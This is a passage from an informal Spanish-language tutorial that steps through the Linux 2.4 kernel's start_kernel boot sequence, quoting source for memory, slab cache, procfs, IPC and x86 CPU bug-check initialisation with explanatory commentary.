memset(&tty_std_termios, 0, sizeof(struct termios));
memcpy(tty_std_termios.c_cc, INIT_C_CC, NCCS);
tty_std_termios.c_iflag = ICRNL | IXON;
tty_std_termios.c_oflag = OPOST | ONLCR;
tty_std_termios.c_cflag = B38400 | CS8 | CREAD | HUPCL;
tty_std_termios.c_lflag = ISIG | ICANON | ECHO | ECHOE | ECHOK |
ECHOCTL | ECHOKE | IEXTEN;

Creamos el termios, que es un terminal "
modelo" que clonaran y modificaran los
terminales "
de verdad".

/*
* set up the console device so that later boot sequences can
* inform about problems etc..
*/
#ifdef CONFIG_VT
con_init();
#endif
#ifdef CONFIG_SERIAL_CONSOLE
#if (defined(CONFIG_8xx) || defined(CONFIG_8260))
console_8xx_init();
#elif defined(CONFIG_MAC_SERIAL)
mac_scc_console_init();
#elif defined(CONFIG_PARISC)
pdc_console_init();
#elif defined(CONFIG_SERIAL)
serial_console_init();
#endif /* CONFIG_8xx */
#ifdef CONFIG_SGI_SERIAL
sgi_serial_console_init();
#endif
#if defined(CONFIG_MVME162_SCC) || defined(CONFIG_BVME6000_SCC) || defined(CONFIG_MVME147_SCC)
vme_scc_console_init();
#endif
#if defined(CONFIG_SERIAL167)
serial167_console_init();
#endif
#if defined(CONFIG_SH_SCI)
sci_console_init();
#endif
#endif
#ifdef CONFIG_TN3270_CONSOLE
tub3270_con_init();
#endif
#ifdef CONFIG_TN3215
con3215_init();
#endif
#ifdef CONFIG_HWC
hwc_console_init();
#endif
#ifdef CONFIG_STDIO_CONSOLE
stdio_console_init();
#endif
#ifdef CONFIG_SERIAL_21285_CONSOLE
rs285_console_init();
#endif
#ifdef CONFIG_SERIAL_SA1100_CONSOLE
sa1100_rs_console_init();
#endif
#ifdef CONFIG_SERIAL_AMBA_CONSOLE
ambauart_console_init();
#endif
}

Inicializamos los distintos terminales según hemos compilado el kernel.

#ifdef CONFIG_MODULES
init_modules();
#endif

Lo encontramos en kernel/module.c:

/*
* Called at boot time
*/

void __init init_modules(void)
{
kernel_module.nsyms = __stop___ksymtab - __start___ksymtab;

#ifdef __alpha__
__asm__("
stq $29,%0" : "=m"(kernel_module.gp));
#endif
}

No hace gran cosa, solo pilla el tamaño de la tabla de ksyms. Volvemos a
init/main.c.

if (prof_shift) {
unsigned int size;
/* only text is profiled */
prof_len = (unsigned long) &_etext - (unsigned long) &_stext;
prof_len >>= prof_shift;

size = prof_len * sizeof(unsigned int) + PAGE_SIZE-1;
prof_buffer = (unsigned int *) alloc_bootmem(size);
}

kmem_cache_init();


Esto lo encontramos en mm/slab.c

/* Initialisation - setup the `cache' cache. */
void __init kmem_cache_init(void)
{
size_t left_over;

init_MUTEX(&cache_chain_sem);
INIT_LIST_HEAD(&cache_chain);

kmem_cache_estimate(0, cache_cache.objsize, 0,
&left_over, &cache_cache.num);
if (!cache_cache.num)
BUG();

cache_cache.colour = left_over/cache_cache.colour_off;
cache_cache.colour_next = 0;
}

Creamos la cache de caches.!

Vueno, sigamos con start_kernel()

sti();

Servira para lo que me pienso?

De include/asm-i386/system.h:

/* interrupt control.. */
#define __save_flags(x) __asm__ __volatile__("
pushfl ; popl %0":"=g" (x): /* no input */)
#define __restore_flags(x) __asm__ __volatile__("
pushl %0 ; popfl": /* no output */ :"g" (x):"memory", "cc")
#define __cli() __asm__ __volatile__("
cli": : :"memory")
#define __sti() __asm__ __volatile__("
sti": : :"memory")
/* used in the idle loop; sti takes one instruction cycle to complete */
#define safe_halt() __asm__ __volatile__("
sti; hlt": : :"memory")

Iniciamos las interrupciones con la instruccion de asm x86 sti de toda la vida.
(exagerando un poco ;)

calibrate_delay();

En el mismo main.c.

void __init calibrate_delay(void)
{
unsigned long ticks, loopbit;
int lps_precision = LPS_PREC;

loops_per_jiffy = (1<<12);

printk("
Calibrating delay loop... ");
while (loops_per_jiffy <<= 1) {
/* wait for "
start of" clock tick */
ticks = jiffies;
while (ticks == jiffies)
/* nothing */;
/* Go .. */
ticks = jiffies;
__delay(loops_per_jiffy);
ticks = jiffies - ticks;
if (ticks)
break;
}

/* Do a binary approximation to get loops_per_jiffy set to equal one clock
(up to lps_precision bits) */
loops_per_jiffy >>= 1;
loopbit = loops_per_jiffy;
while ( lps_precision-- && (loopbit >>= 1) ) {
loops_per_jiffy |= loopbit;
ticks = jiffies;
while (ticks == jiffies);
ticks = jiffies;
__delay(loops_per_jiffy);
if (jiffies != ticks) /* longer than 1 tick */
loops_per_jiffy &= ~loopbit;
}

/* Round the value and print it */
printk("
%lu.%02lu BogoMIPS\n",
loops_per_jiffy/(500000/HZ),
(loops_per_jiffy/(5000/HZ)) % 100);
}

Bueno, por fin sabemos que son los BogoMIPS, y pq jamas los debemos usar para
comparar el rendimieto de varias maquinas de iguales MHz pero arquitecturas
diferentes.

#ifdef CONFIG_BLK_DEV_INITRD
if (initrd_start && !initrd_below_start_ok &&
initrd_start < min_low_pfn << PAGE_SHIFT) {
printk(KERN_CRIT "
initrd overwritten (0x%08lx < 0x%08lx) - "
"
disabling it.\n",initrd_start,min_low_pfn << PAGE_SHIFT);
initrd_start = 0;
}
#endif

Comprueba si el initrd (ramdisk de arranque) ha sido corrompido. Initrd se usa
para un arranque en dos fases. No lo conocia, siempre se aprende algo...

mem_init();

arch/i386/mm/init.c:

void __init mem_init(void)
{
int codesize, reservedpages, datasize, initsize;
int tmp;

if (!mem_map)
BUG();

#ifdef CONFIG_HIGHMEM
highmem_start_page = mem_map + highstart_pfn;
max_mapnr = num_physpages = highend_pfn;
#else
max_mapnr = num_physpages = max_low_pfn;
#endif
#endif
high_memory = (void *) __va(max_low_pfn * PAGE_SIZE);

/* clear the zero-page */
memset(empty_zero_page, 0, PAGE_SIZE);

/* this will put all low memory onto the freelists */
totalram_pages += free_all_bootmem();

reservedpages = 0;
for (tmp = 0; tmp < max_low_pfn; tmp++)
/*
* Only count reserved RAM pages
*/
if (page_is_ram(tmp) && PageReserved(mem_map+tmp))
reservedpages++;
#ifdef CONFIG_HIGHMEM
for (tmp = highstart_pfn; tmp < highend_pfn; tmp++) {
struct page *page = mem_map + tmp;

if (!page_is_ram(tmp)) {
SetPageReserved(page);
continue;
}
ClearPageReserved(page);
set_bit(PG_highmem, &page->flags);
atomic_set(&page->count, 1);
__free_page(page);
totalhigh_pages++;
}
totalram_pages += totalhigh_pages;
#endif
codesize = (unsigned long) &_etext - (unsigned long) &_text;
datasize = (unsigned long) &_edata - (unsigned long) &_etext;
initsize = (unsigned long) &__init_end - (unsigned long) &__init_begin;

printk("
Memory: %luk/%luk available (%dk kernel code, %dk reserved, %dk data, %dk init, %ldk highmem)\n",
(unsigned long) nr_free_pages() << (PAGE_SHIFT-10),
max_mapnr << (PAGE_SHIFT-10),
codesize >> 10,
reservedpages << (PAGE_SHIFT-10),
datasize >> 10,
initsize >> 10,
(unsigned long) (totalhigh_pages << (PAGE_SHIFT-10))
);

#if CONFIG_X86_PAE
if (!cpu_has_pae)
panic("
cannot execute a PAE-enabled kernel on a PAE-less CPU!");
#endif
if (boot_cpu_data.wp_works_ok < 0)
test_wp_bit();

/*
* Subtle. SMP is doing it's boot stuff late (because it has to
* fork idle threads) - but it also needs low mappings for the
* protected-mode entry to work. We zap these entries only after
* the WP-bit has been tested.
*/
#ifndef CONFIG_SMP
zap_low_mappings();
#endif

}

Ponemos a cero la pagina cero.
Liberamos la memoria baja, Calculamos la RAM que tenemos disponible ahora.

Tengo curiosidad por saber que hace SetPageReserved exactamente

tux@debian:/usr/src/linux$ grep -Hr SetPageReserved *|less
include/linux/mm.h:#define SetPageReserved(page) set_bit(PG_reserved, &(page)->flags)

pues eso :)

Volvamos a main.c.

mempages = num_physpages;

fork_init(mempages);

Esto lo encontramos en kernel/fork.c.

void __init fork_init(unsigned long mempages)
{
/*
* The default maximum number of threads is set to a safe
* value: the thread structures can take up at most half
* of memory.
*/
max_threads = mempages / (THREAD_SIZE/PAGE_SIZE) / 2;

init_task.rlim[RLIMIT_NPROC].rlim_cur = max_threads/2;
init_task.rlim[RLIMIT_NPROC].rlim_max = max_threads/2;
}

Definimos el numero maximo de threads a un valor que es el que consideramos
seguro (paginas de memoria / paginas por thread / 2). Limitamos los threads por
tarea al maximo / 2, como maximo y como limite actual.

proc_caches_init();

tb en kernel/fork.c:

void __init proc_caches_init(void)
{
sigact_cachep = kmem_cache_create("
signal_act",
sizeof(struct signal_struct), 0,
SLAB_HWCACHE_ALIGN, NULL, NULL);
if (!sigact_cachep)
panic("
Cannot create signal action SLAB cache");

files_cachep = kmem_cache_create("
files_cache",
sizeof(struct files_struct), 0,
SLAB_HWCACHE_ALIGN, NULL, NULL);
if (!files_cachep)
panic("
Cannot create files SLAB cache");

fs_cachep = kmem_cache_create("
fs_cache",
sizeof(struct fs_struct), 0,
SLAB_HWCACHE_ALIGN, NULL, NULL);
if (!fs_cachep)
panic("
Cannot create fs_struct SLAB cache");

vm_area_cachep = kmem_cache_create("
vm_area_struct",
sizeof(struct vm_area_struct), 0,
SLAB_HWCACHE_ALIGN, NULL, NULL);
if(!vm_area_cachep)
panic("
vma_init: Cannot alloc vm_area_struct SLAB cache");

mm_cachep = kmem_cache_create("
mm_struct",
sizeof(struct mm_struct), 0,
SLAB_HWCACHE_ALIGN, NULL, NULL);
if(!mm_cachep)
panic("
vma_init: Cannot alloc mm_struct SLAB cache");
}

Creamos varias caches y obtenemos punteros a estas. Vamos a ver
kmem_cache_create: (mm/slab.c)

/**
* kmem_cache_create - Create a cache.
* @name: A string which is used in /proc/slabinfo to identify this cache.
* @size: The size of objects to be created in this cache.
* @offset: The offset to use within the page.
* @flags: SLAB flags
* @ctor: A constructor for the objects.
* @dtor: A destructor for the objects.
*
* Returns a ptr to the cache on success, NULL on failure.
* Cannot be called within a int, but can be interrupted.
* The @ctor is run when new pages are allocated by the cache
* and the @dtor is run before the pages are handed back.
* The flags are
*
* %SLAB_POISON - Poison the slab with a known test pattern (a5a5a5a5)
* to catch references to uninitialised memory.
*
* %SLAB_RED_ZONE - Insert `Red' zones around the allocated memory to check
* for buffer overruns.
*
* %SLAB_NO_REAP - Don't automatically reap this cache when we're under
* memory pressure.
*
* %SLAB_HWCACHE_ALIGN - Align the objects in this cache to a hardware
* cacheline. This can be beneficial if you're counting cycles as closely
* as davem.
*/
kmem_cache_t *
kmem_cache_create (const char *name, size_t size, size_t offset,
unsigned long flags, void (*ctor)(void*, kmem_cache_t *, unsigned long),
void (*dtor)(void*, kmem_cache_t *, unsigned long))
{
const char *func_nm = KERN_ERR "
kmem_create: ";
size_t left_over, align, slab_size;
kmem_cache_t *cachep = NULL;

/*
* Sanity checks... these are all serious usage bugs.
*/
if ((!name) ||
((strlen(name) >= CACHE_NAMELEN - 1)) ||
in_interrupt() ||
(size < BYTES_PER_WORD) ||
(size > (1<<MAX_OBJ_ORDER)*PAGE_SIZE) ||
(dtor && !ctor) ||
(offset < 0 || offset > size))
BUG();

#if DEBUG
if ((flags & SLAB_DEBUG_INITIAL) && !ctor) {
/* No constructor, but inital state check requested */
printk("
%sNo con, but init state check requested - %s\n", func_nm, name);
flags &= ~SLAB_DEBUG_INITIAL;
}

if ((flags & SLAB_POISON) && ctor) {
/* request for poisoning, but we can't do that with a constructor */
printk("
%sPoisoning requested, but con given - %s\n", func_nm, name);
flags &= ~SLAB_POISON;
}
#if FORCED_DEBUG
if (size < (PAGE_SIZE>>3))
/*
* do not red zone large object, causes severe
* fragmentation.
*/
flags |= SLAB_RED_ZONE;
if (!ctor)
flags |= SLAB_POISON;
#endif
#endif

/*
* Always checks flags, a caller might be expecting debug
* support which isn't available.
*/
if (flags & ~CREATE_MASK)
BUG();

/* Get cache's description obj. */
cachep = (kmem_cache_t *) kmem_cache_alloc(&cache_cache, SLAB_KERNEL);
if (!cachep)
goto opps;
memset(cachep, 0, sizeof(kmem_cache_t));

/* Check that size is in terms of words. This is needed to avoid
* unaligned accesses for some archs when redzoning is used, and makes
* sure any on-slab bufctl's are also correctly aligned.
*/
if (size & (BYTES_PER_WORD-1)) {
size += (BYTES_PER_WORD-1);
size &= ~(BYTES_PER_WORD-1);
printk("
%sForcing size word alignment - %s\n", func_nm, name);
}

#if DEBUG
if (flags & SLAB_RED_ZONE) {
/*
* There is no point trying to honour cache alignment
* when redzoning.
*/
flags &= ~SLAB_HWCACHE_ALIGN;
size += 2*BYTES_PER_WORD; /* words for redzone */
}
#endif
align = BYTES_PER_WORD;
if (flags & SLAB_HWCACHE_ALIGN)
align = L1_CACHE_BYTES;

/* Determine if the slab management is 'on' or 'off' slab. */
if (size >= (PAGE_SIZE>>3))
/*
* Size is large, assume best to place the slab management obj
* off-slab (should allow better packing of objs).
*/
flags |= CFLGS_OFF_SLAB;

if (flags & SLAB_HWCACHE_ALIGN) {
/* Need to adjust size so that objs are cache aligned. */
/* Small obj size, can get at least two per cache line. */
/* FIXME: only power of 2 supported, was better */
while (size < align/2)
align /= 2;
size = (size+align-1)&(~(align-1));
}

/* Cal size (in pages) of slabs, and the num of objs per slab.
* This could be made much more intelligent. For now, try to avoid
* using high page-orders for slabs. When the gfp() funcs are more
* friendly towards high-order requests, this should be changed.
*/
do {
unsigned int break_flag = 0;
cal_wastage:
kmem_cache_estimate(cachep->gfporder, size, flags,
&left_over, &cachep->num);
if (break_flag)
break;
if (cachep->gfporder >= MAX_GFP_ORDER)
break;
if (!cachep->num)
goto next;
if (flags & CFLGS_OFF_SLAB && cachep->num > offslab_limit) {
/* Oops, this num of objs will cause problems. */
cachep->gfporder--;
break_flag++;
goto cal_wastage;
}

/*
* Large num of objs is good, but v. large slabs are currently
* bad for the gfp()s.
*/
if (cachep->gfporder >= slab_break_gfp_order)
break;

if ((left_over*8) <= (PAGE_SIZE<<cachep->gfporder))
break; /* Acceptable internal fragmentation. */
next:
cachep->gfporder++;
} while (1);

if (!cachep->num) {
printk("
kmem_cache_create: couldn't create cache %s.\n", name);
kmem_cache_free(&cache_cache, cachep);
cachep = NULL;
goto opps;
}
slab_size = L1_CACHE_ALIGN(cachep->num*sizeof(kmem_bufctl_t)+sizeof(slab_t));

/*
* If the slab has been placed off-slab, and we have enough space then
* move it on-slab. This is at the expense of any extra colouring.
*/
if (flags & CFLGS_OFF_SLAB && left_over >= slab_size) {
flags &= ~CFLGS_OFF_SLAB;
left_over -= slab_size;
}

/* Offset must be a multiple of the alignment. */
offset += (align-1);
offset &= ~(align-1);
if (!offset)
offset = L1_CACHE_BYTES;
cachep->colour_off = offset;
cachep->colour = left_over/offset;

/* init remaining fields */
if (!cachep->gfporder && !(flags & CFLGS_OFF_SLAB))
flags |= CFLGS_OPTIMIZE;

cachep->flags = flags;
cachep->gfpflags = 0;
if (flags & SLAB_CACHE_DMA)
cachep->gfpflags |= GFP_DMA;
spin_lock_init(&cachep->spinlock);
cachep->objsize = size;
INIT_LIST_HEAD(&cachep->slabs);
cachep->firstnotfull = &cachep->slabs;

if (flags & CFLGS_OFF_SLAB)
cachep->slabp_cache = kmem_find_general_cachep(slab_size,0);
cachep->ctor = ctor;
cachep->dtor = dtor;
/* Copy name over so we don't have problems with unloaded modules */
strcpy(cachep->name, name);

#ifdef CONFIG_SMP
if (g_cpucache_up)
enable_cpucache(cachep);
#endif
/* Need the semaphore to access the chain. */
down(&cache_chain_sem);
{
struct list_head *p;

list_for_each(p, &cache_chain) {
kmem_cache_t *pc = list_entry(p, kmem_cache_t, next);

/* The name field is constant - no lock needed. */
if (!strcmp(pc->name, name))
BUG();
}
}

/* There is no reason to lock our new cache before we
* link it in - no one knows about it yet...
*/
list_add(&cachep->next, &cache_chain);
up(&cache_chain_sem);
opps:
return cachep;
}

Hacemos unos cuantos checkeos (muchos) antes de hacer nada :)
Es curioso lo de "
There is no reason to lock our new cache before we link it in
- no one knows about it yet...", puesto que no sabemos pq se hace un lock a la
cache si todavia no se ha añadido a la lista de caches.

vfs_caches_init(mempages);

En fs/dcache.c

void __init vfs_caches_init(unsigned long mempages)
{
bh_cachep = kmem_cache_create("
buffer_head",
sizeof(struct buffer_head), 0,
SLAB_HWCACHE_ALIGN, init_buffer_head, NULL);
if(!bh_cachep)
panic("
Cannot create buffer head SLAB cache");

names_cachep = kmem_cache_create("
names_cache",
PATH_MAX + 1, 0,
SLAB_HWCACHE_ALIGN, NULL, NULL);
if (!names_cachep)
panic("
Cannot create names SLAB cache");

filp_cachep = kmem_cache_create("
filp",
sizeof(struct file), 0,
SLAB_HWCACHE_ALIGN, NULL, NULL);
if(!filp_cachep)
panic("
Cannot create filp SLAB cache");

#if defined (CONFIG_QUOTA)
dquot_cachep = kmem_cache_create("
dquot",
sizeof(struct dquot), sizeof(unsigned long) * 4,
SLAB_HWCACHE_ALIGN, NULL, NULL);
if (!dquot_cachep)
panic("
Cannot create dquot SLAB cache");
#endif

dcache_init(mempages);
inode_init(mempages);
mnt_init(mempages);
bdev_cache_init();
cdev_cache_init();
}

Bueno, usamos kmem_cache_create tambien, y llamaremos a dcache_init, inode_init,
mnt_init, bdev_cache_init y cdev_cache_init que tb usaran kmem_cache_create para
crear mas caches.

Volvamos a start_kernel...
buffer_init(mempages);

Esto es... fs/buffer.c

/* ===================== Init ======================= */

/*
* allocate the hash table and init the free list
* Use gfp() for the hash table to decrease TLB misses, use
* SLAB cache for buffer heads.
*/
void __init buffer_init(unsigned long mempages)
{
int order, i;
unsigned int nr_hash;

/* The buffer cache hash table is less important these days,
* trim it a bit.
*/
mempages >>= 14;

mempages *= sizeof(struct buffer_head *);

for (order = 0; (1 << order) < mempages; order++)
;

/* try to allocate something until we get it or we're asking
for something that is really too small */

do {
unsigned long tmp;

nr_hash = (PAGE_SIZE << order) / sizeof(struct buffer_head *);
bh_hash_mask = (nr_hash - 1);

tmp = nr_hash;
bh_hash_shift = 0;
while((tmp >>= 1UL) != 0UL)
bh_hash_shift++;

hash_table = (struct buffer_head **)
__get_free_pages(GFP_ATOMIC, order);
} while (hash_table == NULL && --order > 0);
printk("
Buffer-cache hash table entries: %d (order: %d, %ld bytes)\n",
nr_hash, order, (PAGE_SIZE << order));

if (!hash_table)
panic("
Failed to allocate buffer hash table\n");

/* Setup hash chains. */
for(i = 0; i < nr_hash; i++)
hash_table[i] = NULL;

/* Setup lru lists. */
for(i = 0; i < NR_LIST; i++)
lru_list[i] = NULL;

}

Creamos una tabla hash para la cache de buffers.

page_cache_init(mempages);

Lo encontrariamos en mm/filemap.c

void __init page_cache_init(unsigned long mempages)
{
unsigned long htable_size, order;

htable_size = mempages;
htable_size *= sizeof(struct page *);
for(order = 0; (PAGE_SIZE << order) < htable_size; order++)
;

do {
unsigned long tmp = (PAGE_SIZE << order) / sizeof(struct page *);

page_hash_bits = 0;
while((tmp >>= 1UL) != 0UL)
page_hash_bits++;

page_hash_table = (struct page **)
__get_free_pages(GFP_ATOMIC, order);
} while(page_hash_table == NULL && --order > 0);

printk("
Page-cache hash table entries: %d (order: %ld, %ld bytes)\n",
(1 << page_hash_bits), order, (PAGE_SIZE << order));
if (!page_hash_table)
panic("
Failed to allocate page hash table\n");
memset((void *)page_hash_table, 0, PAGE_HASH_SIZE * sizeof(struct page *));
}

Allocateamos las paginas de la page_cache en una tabla hash.

#if defined(CONFIG_ARCH_S390)
ccwcache_init();
#endif

Esta cache solo existe en esta arquitectura. Lo encontraremos en
drivers/s390/ccwcache.c. Usa kmem_create_cache. Pero sigamos...

signals_init();

En kernel/signal.c:

void __init signals_init(void)
{
sigqueue_cachep =
kmem_cache_create("
sigqueue",
sizeof(struct sigqueue),
__alignof__(struct sigqueue),
SIG_SLAB_DEBUG, NULL, NULL);
if (!sigqueue_cachep)
panic("
signals_init(): cannot create sigqueue SLAB cache");
}

Creamos la cola de señales.

#ifdef CONFIG_PROC_FS
proc_root_init();
#endif

Solo si tenemos procfs. Raramente vemos linuxes sin procfs.
Esto estaria en fs/proc/root.c:

void __init proc_root_init(void)
{
int err = register_filesystem(&proc_fs_type);
if (err)
return;
proc_mnt = kern_mount(&proc_fs_type);
err = PTR_ERR(proc_mnt);
if (IS_ERR(proc_mnt)) {
unregister_filesystem(&proc_fs_type);
return;
}
proc_misc_init();
proc_net = proc_mkdir("
net", 0);
#ifdef CONFIG_SYSVIPC
proc_mkdir("
sysvipc", 0);
#endif
#ifdef CONFIG_SYSCTL
proc_sys_root = proc_mkdir("
sys", 0);
#endif
#if defined(CONFIG_BINFMT_MISC) || defined(CONFIG_BINFMT_MISC_MODULE)
proc_mkdir("
sys/fs", 0);
proc_mkdir("
sys/fs/binfmt_misc", 0);
#endif
proc_root_fs = proc_mkdir("
fs", 0);
proc_root_driver = proc_mkdir("
driver", 0);
#if defined(CONFIG_SUN_OPENPROMFS) || defined(CONFIG_SUN_OPENPROMFS_MODULE)
/* just give it a mountpoint */
proc_mkdir("
openprom", 0);
#endif
proc_tty_init();
#ifdef CONFIG_PROC_DEVICETREE
proc_device_tree_init();
#endif
#ifdef CONFIG_PPC_RTAS
proc_rtas_init();
#endif
proc_bus = proc_mkdir("
bus", 0);
}

Creamos el procfs y vamos creando directorios según los defines.

#if defined(CONFIG_SYSVIPC)
ipc_init();
#endif

Si tenemos SYSVIPC, lo inicializamos. Esto esta en ipc/util.c

/**
* ipc_init - initialise IPC subsystem
*
* The various system5 IPC resources (semaphores, messages and shared
* memory are initialised
*/

void __init ipc_init (void)
{
sem_init();
msg_init();
shm_init();
return;
}

En ipc/sem.c:

void __init sem_init (void)
{
used_sems = 0;
ipc_init_ids(&sem_ids,sc_semmni);

#ifdef CONFIG_PROC_FS
create_proc_read_entry("
sysvipc/sem", 0, 0, sysvipc_sem_read_proc, NULL);
#endif
}

En ipc/util.c:

/**
* ipc_init_ids - initialise IPC identifiers
* @ids: Identifier set
* @size: Number of identifiers
*
* Given a size for the ipc identifier range (limited below IPCMNI)
* set up the sequence range to use then allocate and initialise the
* array itself.
*/

void __init ipc_init_ids(struct ipc_ids* ids, int size)
{
int i;
sema_init(&ids->sem,1);

if(size > IPCMNI)
size = IPCMNI;
ids->size = size;
ids->in_use = 0;
ids->max_id = -1;
ids->seq = 0;
{
int seq_limit = INT_MAX/SEQ_MULTIPLIER;
if(seq_limit > USHRT_MAX)
ids->seq_max = USHRT_MAX;
else
ids->seq_max = seq_limit;
}

ids->entries = ipc_alloc(sizeof(struct ipc_id)*size);

if(ids->entries == NULL) {
printk(KERN_ERR "
ipc_init_ids() failed, ipc service disabled.\n");
ids->size = 0;
}
ids->ary = SPIN_LOCK_UNLOCKED;
for(i=0;i<ids->size;i++)
ids->entries[i].p = NULL;
}

En ipc/msg.c

void __init msg_init (void)
{
ipc_init_ids(&msg_ids,msg_ctlmni);

#ifdef CONFIG_PROC_FS
create_proc_read_entry("
sysvipc/msg", 0, 0, sysvipc_msg_read_proc, NULL);
#endif
}

En ipc/shm.c

void __init shm_init (void)
{
ipc_init_ids(&shm_ids, 1);
#ifdef CONFIG_PROC_FS
create_proc_read_entry("
sysvipc/shm", 0, 0, sysvipc_shm_read_proc, NULL);
#endif
}

Usamos ipc_init_ids para crear los arrays del IPC. Si tenemos /proc, creamos
tambien un entry /proc.

Volvemos a init.c

check_bugs();

Veamos include/asm-i386/bugs.h:

static void __init check_bugs(void)
{
identify_cpu(&boot_cpu_data);
#ifndef CONFIG_SMP
printk("
CPU: ");
print_cpu_info(&boot_cpu_data);
#endif
check_config();
check_fpu();
check_hlt();
check_popad();
system_utsname.machine[1] = '0' + (boot_cpu_data.x86 > 6 ? 6 : boot_cpu_data.x86);
}

/*
* Check whether we are able to run this kernel safely on SMP.
*
* - In order to run on a i386, we need to be compiled for i386
* (for due to lack of "
invlpg" and working WP on a i386)
* - In order to run on anything without a TSC, we need to be
* compiled for a i486.
* - In order to support the local APIC on a buggy Pentium machine,
* we need to be compiled with CONFIG_X86_GOOD_APIC disabled,
* which happens implicitly if compiled for a Pentium or lower
* (unless an advanced selection of CPU features is used) as an
* otherwise config implies a properly working local APIC without
* the need to do extra reads from the APIC.
*/

static void __init check_config(void)
{
/*
* We'd better not be a i386 if we're configured to use some
* i486+ only features! (WP works in supervisor mode and the
* new "
invlpg" and "bswap" instructions)
*/
#if defined(CONFIG_X86_WP_WORKS_OK) || defined(CONFIG_X86_INVLPG) || defined(CONFIG_X86_BSWAP)
if (boot_cpu_data.x86 == 3)
panic("
Kernel requires i486+ for 'invlpg' and other features");
#endif

Si el kernel esta compilado para i486+ no puede correr en un 386.

/*
* If we configured ourselves for a TSC, we'd better have one!
*/
#ifdef CONFIG_X86_TSC
if (!cpu_has_tsc)
panic("
Kernel compiled for Pentium+, requires TSC feature!");
#endif

Si el kernel esta compilado para Pentiums con TSC... necesitamos TSC!. (El tsc
(Time Stamp Counter) es un contador que se incrementa cada ciclo de reloj).

/*
* If we configured ourselves for PGE, we'd better have it.
*/
#ifdef CONFIG_X86_PGE
if (!cpu_has_pge)
panic("
Kernel compiled for PPro+, requires PGE feature!");
#endif

Si el kernel esta compilado para aprovechar PGE (Paging Global Extensions), no
podemos esperar de correrlo en una CPU sin PGE (!).
PGE es una de las extensiones del PPro. He buscado algo de informacion sobre
ello. Mirad http://x86.ddj.com/articles/2mpages/2mpages.htm :).

/*
* If we were told we had a good local APIC, check for buggy Pentia,
* i.e. all B steppings and the C2 stepping of P54C when using their
* integrated APIC (see 11AP erratum in "
Pentium Processor
* Specification Update").
*/
#if defined(CONFIG_X86_LOCAL_APIC) && defined(CONFIG_X86_GOOD_APIC)
if (boot_cpu_data.x86_vendor == X86_VENDOR_INTEL
&& test_bit(X86_FEATURE_APIC, &boot_cpu_data.x86_capability)
&& boot_cpu_data.x86 == 5
&& boot_cpu_data.x86_model == 2
&& (boot_cpu_data.x86_mask < 6 || boot_cpu_data.x86_mask == 11))
panic("
Kernel compiled for PMMX+, assumes a local APIC without the read-before-write bug!");
#endif
}

Si el kernel esta compilado sin soporte para APICs defectuosas, panic aqui.

static void __init check_fpu(void)
{
if (!boot_cpu_data.hard_math) {
#ifndef CONFIG_MATH_EMULATION
printk(KERN_EMERG "
No coprocessor found and no math emulation present.\n");
printk(KERN_EMERG "
Giving up.\n");
for (;;) ;
#endif
return;
}

Si no tenemos FPU, siempre podemos aguantar a base de emulacion automatica.
Pero si nuestro kernel no tiene emul. matematica, lo dejamos. No se por que no
usamos panic() aqui :?.

/* Enable FXSR and company _before_ testing for FP problems. */
/*
* Verify that the FXSAVE/FXRSTOR data will be 16-byte aligned.
*/
if (offsetof(struct task_struct, thread.i387.fxsave) & 15) {
extern void __buggy_fxsr_alignment(void);
__buggy_fxsr_alignment();
}
if (cpu_has_fxsr) {
printk(KERN_INFO "
Enabling fast FPU save and restore... ");
set_in_cr4(X86_CR4_OSFXSR);
printk("
done.\n");
}
if (cpu_has_xmm) {
printk(KERN_INFO "
Enabling unmasked SIMD FPU exception support... ");
set_in_cr4(X86_CR4_OSXMMEXCPT);
printk("
done.\n");
}

/* Test for the divl bug.. */
__asm__("
fninit\n\t"
"
fldl %1\n\t"
"
fdivl %2\n\t"
"
fmull %2\n\t"
"
fldl %1\n\t"
"
fsubp %%st,%%st(1)\n\t"
"
fistpl %0\n\t"
"
fwait\n\t"
"
fninit"
: "
=m" (*&boot_cpu_data.fdiv_bug)
: "
m" (*&x), "m" (*&y));
if (boot_cpu_data.fdiv_bug)
printk("
Hmm, FPU with FDIV bug.\n");
}

Activamos algunos flags del FPU y probamos si tiene el FDIV bug. Creo que es
el bug del los primeros pentium en divisiones de coma flotante.
Curioso el "
Hmm, " los coders del kernel tambien tienen sentido del humor ;).

static void __init check_hlt(void)
{
printk(KERN_INFO "
Checking 'hlt' instruction... ");
if (!boot_cpu_data.hlt_works_ok) {
printk("
disabled\n");
return;
}
__asm__ __volatile__("
hlt ; hlt ; hlt ; hlt");
printk("
OK.\n");
}

Si ya sabemos que el hlt no va, mostramos "
disabled" y volvemos. Si se supone
que funciona la usamos y luego imprimimos OK. Si se quedara clavado aqui, mal
asunto ;).

/*
* Most 386 processors have a bug where a POPAD can lock the
* machine even from user space.
*/

static void __init check_popad(void)
{
#ifndef CONFIG_X86_POPAD_OK
int res, inp = (int) &res;

printk(KERN_INFO "
Checking for popad bug... ");
__asm__ __volatile__(
"
movl $12345678,%%eax; movl $0,%%edi; pusha; popa; movl (%%edx,%%edi),%%ecx "
: "
=&a" (res)
: "
d" (inp)
: "
ecx", "edi" );
/* If this fails, it means that any user program may lock the CPU hard. Too bad. */
if (res != 12345678) printk( "
Buggy.\n" );
else printk( "
OK.\n" );
#endif
}

Comprovamos si nuestra cpu tiene este bug (muy malo el bug... no hay
workarround y en caso de tenerlo cualquier proceso de usuario puede colgar la
cpu. :/ Encontre info en http://grafi.ii.pw.edu.pl/gbm/x86/3486bugs.html :).

Volvamos a

  
init/main.c

printk("POSIX conformance testing by UNIFIX\n");

/*
* We count on the initial thread going ok
* Like idlers init is an unlocked kernel thread, which will
* make syscalls (and thus be locked).
*/

smp_init();

En main.c mismo:

#ifndef CONFIG_SMP

#ifdef CONFIG_X86_LOCAL_APIC
static void __init smp_init(void)
{
APIC_init_uniprocessor();
}
#else
#define smp_init() do { } while (0)
#endif

Si no tenemos smp ni apic entonces smp_init no hace nada. Si tenemos APIC...

arch/i386/kernel/apic.c:

/*
* This initializes the IO-APIC and APIC hardware if this is
* a UP kernel.
*/

int __init APIC_init_uniprocessor (void)
{
if (!smp_found_config && !cpu_has_apic)
return -1;

/*
* Complain if the BIOS pretends there is one.
*/

if (!cpu_has_apic && APIC_INTEGRATED(apic_version[boot_cpu_physical_apicid])) {
printk(KERN_ERR "BIOS bug, local APIC #%d not detected!...\n",
boot_cpu_physical_apicid);
return -1;
}

verify_local_APIC();

connect_bsp_APIC();

phys_cpu_present_map = 1;
apic_write_around(APIC_ID, boot_cpu_physical_apicid);

apic_pm_init2();

setup_local_APIC();

